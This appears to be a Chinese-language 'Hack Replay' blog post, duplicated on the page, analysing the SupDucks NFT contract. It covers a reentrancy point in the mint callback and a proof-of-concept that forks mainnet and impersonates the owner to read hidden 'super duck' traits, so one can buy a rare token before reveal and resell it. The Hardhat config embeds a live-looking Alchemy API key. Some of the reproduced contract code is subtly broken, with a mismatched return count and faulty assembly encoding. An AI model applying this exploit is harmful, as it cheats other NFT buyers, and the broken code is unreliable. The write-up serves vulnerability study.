Hack Replay - SupDuck

bixia1994
更新于 2021-09-02 22:53
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最近的NFT异常的火热，上一篇文章中分析了Samczsun提出的HashMasks这一NFT，对EIP721进行了简单的了解。但是在后续的沟通中，发现对于NFT，其意义远远超过了冰冷的EIP721. 同时也发现，自己对于NFT的理解是非常浅薄的。故借此文章将NFT的一些简单的玩法梳理一下。但仍遵循我们的Hack Replay的传统，找到合约漏洞，给出可执行的POC。

# Hack Replay - SupDuck

![image20210902155435080.png](https://img.learnblockchain.cn/attachments/2021/09/KFC0DT2h6130e4b9340ad.png)

最近的NFT异常的火热，[上一篇](https://learnblockchain.cn/article/2885)文章中分析了Samczsun提出的HashMasks这一NFT，对EIP721进行了简单的了解。但是在后续的沟通中，发现对于NFT，其意义远远超过了冰冷的EIP721. 同时也发现，自己对于NFT的理解是非常浅薄的。故借此文章将NFT的一些简单的玩法梳理一下。但仍遵循我们的Hack Replay的传统，找到合约漏洞，给出可执行的POC。

## 漏洞合约

![image20210902160424010.png](https://img.learnblockchain.cn/attachments/2021/09/npGqeyUI6130e4c658f72.png)

作为一个普通用户，参与NFT的一个途径是通过其官网上`mint`按钮，然后连接钱包，一直下一步即可得到一个NFT。其实质是调用了合约的mint方法，如下：

```js
function mintDuck(uint numberOfTokens) public payable {
    //允许sale
    require(saleIsActive, "SupDucks/mintDuck sale not open");
    //numberOfTokens数量小于10
    require(numberOfTokens <= 10, "SupDucks/mintDuck can only 10 duck at a time");
    //mint后的总数小于最大值
    require(numberOfTokens.add(totalSupply()) <= MAX_DUCKS, "SupDucks/mintDuck exceed max supply of ducks");
    //验证总金额正确与否
    require(duckPrice.mul(numberOfTokens) <= msg.value, "Ether sent is not correct");
    //调用内部函数mintDuck
    _mintDuck(numberOfTokens, msg.sender);
}
```

如果你读过我的上一篇文章`HashMasks`，可以发现`mintDuck`的逻辑跟`HashMask`中`mintNFT`一模一样。

```js
function _mintDuck(uint numberOfTokens, address sender) internal {
	//执行for循环，对每一次创建一个种子seed，将seed作为随机量添加入duck的特征值中。然后调用Openzepplin/ERC721中的safeMint方法
	for(uint i = 0; i < numberOfTokens; i++) {
        //get seed
        uint256 seed = uint(keccak256(abi.encodePacked(nonce, block.difficulty, block.timestamp, sender)));
        //get index， 即当前的总数量
        uint mintIndex = totalSupply();
        //给该index添加特征值
        addTraits(seed, mintIndex);
        //调用openzepplin中的safeMint方法
        _safeMint(sender, mintIndex);
    }
}
```

由于很多的NFT合约都直接继承了`Openzepplin的ERC721Upgradeable.sol`,故，在samczsun的文章中强调的Unsafe External Call基本都存在。

```js
function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
	//调用内部的_mint函数更改状态
    _mint(to, tokenId);
    //[unsafe external call] from,to,tokenId,data
    require(_checkOnERC721Received(address(0),to,tokenId,data));
}
```

`_mint`方法更改状态：

```js
function  _mint(address to, uint256 tokenId) internal virtual {
	//判断to不能是address(0)
    require(address(0) != to, "SupDucks/_mint to is address(0)");
    //tokenId不能已经存在
    require(!_exsits(tokenId), "SupDucks/_mint tokenId already exists");
    //更新owner状态: 写入owners字典，增加owners余额
    _balances[to] = _balances[to].add(1);
    _owners[tokenId] = to;
    //发出Transfer事件
    emit Transfer(address(0), to, tokenId);
}
```

Unsafe External Call - 调用ERC721对应的onERC721Received方法

```js
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) {
	//如果to地址是EOA，直接返回true
	//if (msg.sender == tx.origin) // 这里不合适这样判断，因为屏蔽了metaTransaction这种交互方式
	//如果to地址是合约，则进行Unsafe External Call调用， 否则直接返回True
	uint256 extcodesize_;
	assembly{
		extcodesize_ := extcodesize(to)
	}
	bytes4 func_signature = 
	bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))
	if (extcodesize_ > 0) {
		uint res;
        assembly{
            //UNSAFE EXTERANL CALL
            let in_offset := mload(0x40)
            //abi.encodePacked(func_signature,func_signature)
            mstore(in_offset, func_signature)
            mstore(add(in_offset,0x04),func_signature)
            let free_pointer := mload(0x40)
            //update free pointer
            mstore(0x40, add(in_offset,0x24))
            let in_size := 0x24
            let success := call(gas(),to,0,in_offset,in_size,0,0)
            switch success
            case 0 {
                returndatacopy(free_pointer, returndatasize())
                revert(free_pointer, returndatasize())
            }
            case 1 {
				returndatacopy(free_pointer, returndatasize())
				res := shr(224,mload(free_pointer))
            }
		}
		if (res != uint256(uint32(func_signature))) {
			return false;
		}
	}
	return true;
}
```

## 漏洞分析_1_

让我们使用Samczsun提出的4步分析法：明确External Call，External Call可被利用，是否满足三种模式，尝试利用。

在mintDuck方法中，我们可以看到External Call为：

```js
address(to).onERC721Received(address,address,uint256,bytes)
```

该Call也是可以被利用的，因为地址to是我们自己给定的。

是否存在三种模式， 可以看到这里存在这第一种模式：在External Call之前更新数据

```js
uint mintIndex = totalSupply();
function totalSupply() public returns (uint256) {
    return _allTokens.length;
}
```

在External Call之前，存在着数据更新，即totalSupply的值在更新。那么作为一个Unsafe External Call应该如何去影响totalSupply的值呢？最直接的思路是再去mint一些Duck增加totalSupply.

如上篇文章中所分析的一样，这样写事实上遵循了`checks-effects-interacts`这一模式，并不能通过重进入mintDucks方法来占的特别大的便宜。除了可以绕过`numberOfTokens <= 10`这一检查外。

## 漏洞分析2

如果这道题目的漏洞分析仅停留在分析1的层次，则与我之前写的文章Hashmasks水平保持一致。但实际上NFT的含义绝不仅限于EIP721. 要理解漏洞分析2，我们就需要对NFT的整个玩法有一定的了解。

从漏洞合约的分析中可以看到，一个NFT再Mint出来之后，通常会挂到opensea等NFT交易所上去售卖，如下图所示：

![image20210902212307764.png](https://img.learnblockchain.cn/attachments/2021/09/DzZdfQIe6130e4da1d338.png)

由于NFT的特殊性，即每一个NFT都是独一无二的。区别每一个NFT都在于其基因，即DNA。再supduck中，基因体现在properties的稀有性，如果一个supduck的基因越稀有，则该NFT就有可能更加有价值。

![image20210902212525378.png](https://img.learnblockchain.cn/attachments/2021/09/W6L6o9au6130e4e61c359.png)

而如果一个NFT已经上架了opensea，我们就可以直接通过Opensea找到对应的合约地址：

![image20210902213219586.png](https://img.learnblockchain.cn/attachments/2021/09/t3C7q5pD6130e4f0eb827.png)

从Supduck的合约中看，并不是每一个的duck都是平等的，其存在着superDuck

```js
function addTraits(uint seed, uint tokenId) internal {
	//根据seed对该tokenId的DNA进行赋值，seed是一个随机数
    for (uint8 i=0; i < NUM_TRAITS; i++) {
        nonce++;
        duckTraits[tokenId][i] = determineTrait(i, seed);
    }
    //检查是否满足superduck的条件
    checkForSuper(tokenId, seed);
}
```

```js
function checkForSuper(uint tokenId, uint seed) internal {
	uint16 roll = uint16(seed % (MAX_DUCKS - totalSupply()));
    for (uint8 i = 0; i < NUM_SUPERS + 1; i++) {
        if (roll < superStock[i]) {
            superStock[i]--;
            if (i > 0) {
                createSuper(tokenId, i);
            }
            return;
        }
        roll -= superStock[i];
    }
    revert("duck pit");
}
```

```js
function createSuper(uint tokenId, uint superId) internal {
	for (uint8 i=0; i < NUM_TRAITS; i++) {
        duckTraits[tokenId][i] = uint8(99+superId);
    }
}
```

从合约分析中可以看到，superDuck的特点是其每一个duckTraits都是相同的数值，均为99+superId。

## 漏洞利用

从漏洞分析2中，我们已经知道存在着superDucks，但是要怎么才能知道哪一个才是superDucks呢？我们可以通过合约中的getTraits方法

```js
function getTraits(uint tokenId) public view returns(uint,uint,uint,uint,uint,uint) {
	//要求该tokenId已经存在
    require(_exists(tokenId));
    //要求调用者为管理员，IPFS字段长度大于0说明已经公开
    require(bytes(IPFS_CIDs[tokenId]).length > 0 || _msgSender() == owner());
    return (duckTraits[tokenId][0],duckTraits[tokenId][1],duckTraits[tokenId][2],duckTraits[tokenId][3],duckTraits[tokenId][4],duckTraits[tokenId][5],duckTraits[tokenId][6]);
}
```

我们想要知道的是哪一个TokenId对应的duck是superDuck，最简单的办法是将每一个已经mint出来的tokenId对应的duck的duckTraits的值全部拿到。这里可以有两个思路：

思路1： 虽然duckTraits是一个内部的属性，但是再以太坊中并不存在真正的不能被外部访问的私有属性的值，可以通过web3直接访问插槽的方式访问

思路2：通过调用getTraits函数。虽然getTraits函数中有要求必须是msg.sender==owner才能访问，但是我可以在自己的本地环境中，利用hardhat的impersonateAccount方式来假装自己是owner实现访问。

### 确定区块高度

![image20210902215602882.png](https://img.learnblockchain.cn/attachments/2021/09/NtkZsbkO6130e500cc50d.png)

根据已知信息，确认区块高度为12847922

```js
require("@nomiclabs/hardhat-waffle");
task("accounts", "Prints the list of accounts", async (taskArgs, hre) => {
  const accounts = await hre.ethers.getSigners();

for (const account of accounts) {
    console.log(account.address);
  }
});
module.exports = {
  solidity: "0.7.0",
  defaultNetwork: 'hardhat',
  networks: {
    hardhat: {
      forking:{
        url: "https://eth-mainnet.alchemyapi.io/v2/7Brn0mxZnlMWbHf0yqAEicmsgKdLJGmA",
        blockNumber:12847922,
      },
      throwOnTransactionFailures: true,
      throwOnCallFailures: true,
      allowUnlimitedContractSize: true,
      gas: 12000000,
      blockGasLimit: 0x1fffffffffffff,
      allowUnlimitedContractSize: true,
      timeout: 1800000
    }
  }
};
```

### 得到合约ABI

从Opensea中可以得到合约地址为：https://etherscan.io/address/0x3fe1a4c1481c8351e91b64d5c398b159de07cbc5 这是一个代理合约，但是数据都在这个合约地址上。

其对应的实现合约的地址为：https://etherscan.io/address/0x91879d131091165bb92ba70296fd0f81ff59a3bc#code

### 思路2对应的分析

首先我们采取思路2的方式，来获取所有的tokenId的Traits。

```js
const hre = require("hardhat");
const ethers = hre.ethers

async function main() {
  
  const supduck_addr = "0x3fe1a4c1481c8351e91b64d5c398b159de07cbc5";
  await hre.network.provider.send("hardhat_impersonateAccount",["0xafd618064739a2820f5f80c2585563a8af0e6871"])
  const owner = await ethers.getSigner("0xafd618064739a2820f5f80c2585563a8af0e6871")
  console.log(owner.address)

//get Contract
  
  const ISupDucks = await ethers.getContractAt("ISupDucks","0x3fe1a4c1481c8351e91b64d5c398b159de07cbc5")
  console.log(await ISupDucks.owner())

//从0到10000逐个loop tokenId得到对应的traits
  for (var i = 0; i < 10000; i++) {
    console.log("the tokenId is %s", i)
    console.log(await ISupDucks.connect(owner).getTraits(i))
  }

}

main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });
```

![image20210902224334657.png](https://img.learnblockchain.cn/attachments/2021/09/JOTSsDzb6130e510c8d00.png)

通过上述的For循环，我们可以找到如下对应的superDucks：

```js
> await ISupDucks.connect(signer).getTraits(8294)
[
  BigNumber { _hex: '0x6b', _isBigNumber: true },
  BigNumber { _hex: '0x6b', _isBigNumber: true },
  BigNumber { _hex: '0x6b', _isBigNumber: true },
  BigNumber { _hex: '0x6b', _isBigNumber: true },
  BigNumber { _hex: '0x6b', _isBigNumber: true },
  BigNumber { _hex: '0x6b', _isBigNumber: true }
]
> await ISupDucks.connect(signer).getTraits(8439)
[
  BigNumber { _hex: '0x69', _isBigNumber: true },
  BigNumber { _hex: '0x69', _isBigNumber: true },
  BigNumber { _hex: '0x69', _isBigNumber: true },
  BigNumber { _hex: '0x69', _isBigNumber: true },
  BigNumber { _hex: '0x69', _isBigNumber: true },
  BigNumber { _hex: '0x69', _isBigNumber: true }
]
>
```

故，我们的策略如下：

找到编号为8294的supduck，然后买下它，再等待它揭露IPFS地址后，将其卖掉。
![pp.png](https://img.learnblockchain.cn/attachments/2021/09/Ywrgm3uU6130e52159ebe.png)

Hack Replay - SupDuck

漏洞合约

作为一个普通用户，参与NFT的一个途径是通过其官网上mint按钮，然后连接钱包，一直下一步即可得到一个NFT。其实质是调用了合约的mint方法，如下：

function mintDuck(uint numberOfTokens) public payable {
    //允许sale
    require(saleIsActive, "SupDucks/mintDuck sale not open");
    //numberOfTokens数量小于10
    require(numberOfTokens &lt;= 10, "SupDucks/mintDuck can only 10 duck at a time");
    //mint后的总数小于最大值
    require(numberOfTokens.add(totalSupply()) &lt;= MAX_DUCKS, "SupDucks/mintDuck exceed max supply of ducks");
    //验证总金额正确与否
    require(duckPrice.mul(numberOfTokens) &lt;= msg.value, "Ether sent is not correct");
    //调用内部函数mintDuck
    _mintDuck(numberOfTokens, msg.sender);
}

如果你读过我的上一篇文章HashMasks，可以发现mintDuck的逻辑跟HashMask中mintNFT一模一样。

function _mintDuck(uint numberOfTokens, address sender) internal {
    //执行for循环，对每一次创建一个种子seed，将seed作为随机量添加入duck的特征值中。然后调用Openzepplin/ERC721中的safeMint方法
    for(uint i = 0; i &lt; numberOfTokens; i++) {
        //get seed
        uint256 seed = uint(keccak256(abi.encodePacked(nonce, block.difficulty, block.timestamp, sender)));
        //get index， 即当前的总数量
        uint mintIndex = totalSupply();
        //给该index添加特征值
        addTraits(seed, mintIndex);
        //调用openzepplin中的safeMint方法
        _safeMint(sender, mintIndex);
    }
}

由于很多的NFT合约都直接继承了Openzepplin的ERC721Upgradeable.sol,故，在samczsun的文章中强调的Unsafe External Call基本都存在。

function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
    //调用内部的_mint函数更改状态
    _mint(to, tokenId);
    //[unsafe external call] from,to,tokenId,data
    require(_checkOnERC721Received(address(0),to,tokenId,data));
}

_mint方法更改状态：

function  _mint(address to, uint256 tokenId) internal virtual {
    //判断to不能是address(0)
    require(address(0) != to, "SupDucks/_mint to is address(0)");
    //tokenId不能已经存在
    require(!_exsits(tokenId), "SupDucks/_mint tokenId already exists");
    //更新owner状态: 写入owners字典，增加owners余额
    _balances[to] = _balances[to].add(1);
    _owners[tokenId] = to;
    //发出Transfer事件
    emit Transfer(address(0), to, tokenId);
}

Unsafe External Call - 调用ERC721对应的onERC721Received方法

function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) {
    //如果to地址是EOA，直接返回true
    //if (msg.sender == tx.origin) // 这里不合适这样判断，因为屏蔽了metaTransaction这种交互方式
    //如果to地址是合约，则进行Unsafe External Call调用， 否则直接返回True
    uint256 extcodesize_;
    assembly{
        extcodesize_ := extcodesize(to)
    }
    bytes4 func_signature = 
    bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))
    if (extcodesize_ > 0) {
        uint res;
        assembly{
            //UNSAFE EXTERANL CALL
            let in_offset := mload(0x40)
            //abi.encodePacked(func_signature,func_signature)
            mstore(in_offset, func_signature)
            mstore(add(in_offset,0x04),func_signature)
            let free_pointer := mload(0x40)
            //update free pointer
            mstore(0x40, add(in_offset,0x24))
            let in_size := 0x24
            let success := call(gas(),to,0,in_offset,in_size,0,0)
            switch success
            case 0 {
                returndatacopy(free_pointer, returndatasize())
                revert(free_pointer, returndatasize())
            }
            case 1 {
                returndatacopy(free_pointer, returndatasize())
                res := shr(224,mload(free_pointer))
            }
        }
        if (res != uint256(uint32(func_signature))) {
            return false;
        }
    }
    return true;
}

漏洞分析1

让我们使用Samczsun提出的4步分析法：明确External Call，External Call可被利用，是否满足三种模式，尝试利用。

在mintDuck方法中，我们可以看到External Call为：

address(to).onERC721Received(address,address,uint256,bytes)

该Call也是可以被利用的，因为地址to是我们自己给定的。

是否存在三种模式，可以看到这里存在这第一种模式：在External Call之前更新数据

uint mintIndex = totalSupply();
function totalSupply() public returns (uint256) {
    return _allTokens.length;
}

如上篇文章中所分析的一样，这样写事实上遵循了checks-effects-interacts这一模式，并不能通过重进入mintDucks方法来占的特别大的便宜。除了可以绕过numberOfTokens <= 10这一检查外。

漏洞分析2

从漏洞合约的分析中可以看到，一个NFT再Mint出来之后，通常会挂到opensea等NFT交易所上去售卖，如下图所示：

而如果一个NFT已经上架了opensea，我们就可以直接通过Opensea找到对应的合约地址：

从Supduck的合约中看，并不是每一个的duck都是平等的，其存在着superDuck

function addTraits(uint seed, uint tokenId) internal {
    //根据seed对该tokenId的DNA进行赋值，seed是一个随机数
    for (uint8 i=0; i &lt; NUM_TRAITS; i++) {
        nonce++;
        duckTraits[tokenId][i] = determineTrait(i, seed);
    }
    //检查是否满足superduck的条件
    checkForSuper(tokenId, seed);
}

function checkForSuper(uint tokenId, uint seed) internal {
    uint16 roll = uint16(seed % (MAX_DUCKS - totalSupply()));
    for (uint8 i = 0; i &lt; NUM_SUPERS + 1; i++) {
        if (roll &lt; superStock[i]) {
            superStock[i]--;
            if (i > 0) {
                createSuper(tokenId, i);
            }
            return;
        }
        roll -= superStock[i];
    }
    revert("duck pit");
}

function createSuper(uint tokenId, uint superId) internal {
    for (uint8 i=0; i &lt; NUM_TRAITS; i++) {
        duckTraits[tokenId][i] = uint8(99+superId);
    }
}

从合约分析中可以看到，superDuck的特点是其每一个duckTraits都是相同的数值，均为99+superId。

漏洞利用

从漏洞分析2中，我们已经知道存在着superDucks，但是要怎么才能知道哪一个才是superDucks呢？我们可以通过合约中的getTraits方法

function getTraits(uint tokenId) public view returns(uint,uint,uint,uint,uint,uint) {
    //要求该tokenId已经存在
    require(_exists(tokenId));
    //要求调用者为管理员，IPFS字段长度大于0说明已经公开
    require(bytes(IPFS_CIDs[tokenId]).length > 0 || _msgSender() == owner());
    return (duckTraits[tokenId][0],duckTraits[tokenId][1],duckTraits[tokenId][2],duckTraits[tokenId][3],duckTraits[tokenId][4],duckTraits[tokenId][5],duckTraits[tokenId][6]);
}

思路1：虽然duckTraits是一个内部的属性，但是再以太坊中并不存在真正的不能被外部访问的私有属性的值，可以通过web3直接访问插槽的方式访问

确定区块高度

根据已知信息，确认区块高度为12847922

require("@nomiclabs/hardhat-waffle");
task("accounts", "Prints the list of accounts", async (taskArgs, hre) => {
  const accounts = await hre.ethers.getSigners();

  for (const account of accounts) {
    console.log(account.address);
  }
});
module.exports = {
  solidity: "0.7.0",
  defaultNetwork: 'hardhat',
  networks: {
    hardhat: {
      forking:{
        url: "https://eth-mainnet.alchemyapi.io/v2/7Brn0mxZnlMWbHf0yqAEicmsgKdLJGmA",
        blockNumber:12847922,
      },
      throwOnTransactionFailures: true,
      throwOnCallFailures: true,
      allowUnlimitedContractSize: true,
      gas: 12000000,
      blockGasLimit: 0x1fffffffffffff,
      allowUnlimitedContractSize: true,
      timeout: 1800000
    }
  }
};

得到合约ABI

从Opensea中可以得到合约地址为：https://etherscan.io/address/0x3fe1a4c1481c8351e91b64d5c398b159de07cbc5 这是一个代理合约，但是数据都在这个合约地址上。

其对应的实现合约的地址为：https://etherscan.io/address/0x91879d131091165bb92ba70296fd0f81ff59a3bc#code　

思路2对应的分析

首先我们采取思路2的方式，来获取所有的tokenId的Traits。

const hre = require("hardhat");
const ethers = hre.ethers

async function main() {

  const supduck_addr = "0x3fe1a4c1481c8351e91b64d5c398b159de07cbc5";
  await hre.network.provider.send("hardhat_impersonateAccount",["0xafd618064739a2820f5f80c2585563a8af0e6871"])
  const owner = await ethers.getSigner("0xafd618064739a2820f5f80c2585563a8af0e6871")
  console.log(owner.address)

  //get Contract

  const ISupDucks = await ethers.getContractAt("ISupDucks","0x3fe1a4c1481c8351e91b64d5c398b159de07cbc5")
  console.log(await ISupDucks.owner())

  //从0到10000逐个loop tokenId得到对应的traits
  for (var i = 0; i &lt; 10000; i++) {
    console.log("the tokenId is %s", i)
    console.log(await ISupDucks.connect(owner).getTraits(i))
  }

}

main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });

通过上述的For循环，我们可以找到如下对应的superDucks：

> await ISupDucks.connect(signer).getTraits(8294)
[
  BigNumber { _hex: '0x6b', _isBigNumber: true },
  BigNumber { _hex: '0x6b', _isBigNumber: true },
  BigNumber { _hex: '0x6b', _isBigNumber: true },
  BigNumber { _hex: '0x6b', _isBigNumber: true },
  BigNumber { _hex: '0x6b', _isBigNumber: true },
  BigNumber { _hex: '0x6b', _isBigNumber: true }
]
> await ISupDucks.connect(signer).getTraits(8439)
[
  BigNumber { _hex: '0x69', _isBigNumber: true },
  BigNumber { _hex: '0x69', _isBigNumber: true },
  BigNumber { _hex: '0x69', _isBigNumber: true },
  BigNumber { _hex: '0x69', _isBigNumber: true },
  BigNumber { _hex: '0x69', _isBigNumber: true },
  BigNumber { _hex: '0x69', _isBigNumber: true }
]
>

故，我们的策略如下：

找到编号为8294的supduck，然后买下它，再等待它揭露IPFS地址后，将其卖掉。